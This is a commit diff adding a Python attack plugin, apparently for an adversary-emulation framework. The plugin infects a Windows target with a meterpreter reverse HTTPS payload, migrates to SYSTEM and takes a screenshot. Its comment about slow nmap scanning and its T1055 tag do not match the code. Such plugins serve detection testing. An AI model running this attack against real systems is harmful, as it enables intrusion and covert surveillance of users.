Added screengrab metasploit plugin

plugins/default/metasploit_attacks/metasploit_screengrab_t1113/metasploit_screengrab.py

@@ -0,0 +1,45 @@
+#!/usr/bin/env python3
+
+# A plugin to nmap targets slow motion, to evade sensors
+
+from plugins.base.attack import AttackPlugin
+from app.metasploit import MetasploitInstant
+
+
+class MetasploitScreengrabPlugin(AttackPlugin):
+
+    # Boilerplate
+    name = "metasploit_screengrab"
+    description = "Grab a screenshot"
+    ttp = "T1055"
+    references = ["https://attack.mitre.org/techniques/T1055/"]
+
+    required_files = []    # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
+
+    def __init__(self):
+        super().__init__()
+        self.plugin_path = __file__
+
+    def run(self, targets):
+        """ Run the command
+
+        @param targets: A list of targets, ip addresses will do
+        """
+
+        res = ""
+        payload_type = "windows/meterpreter_reverse_https"
+        payload_name = "babymetal.exe"
+        target = self.targets[0]
+
+        metasploit = MetasploitInstant(self.metasploit_password,
+                                       attack_logger=self.attack_logger,
+                                       attacker=self.attacker_machine_plugin,
+                                       username=self.metasploit_user)
+
+        metasploit.smart_infect(target, payload_type, payload_name, )
+
+        metasploit.migrate(target, user="NT AUTHORITY\\SYSTEM")
+
+        metasploit.screengrab(target)
+
+        return res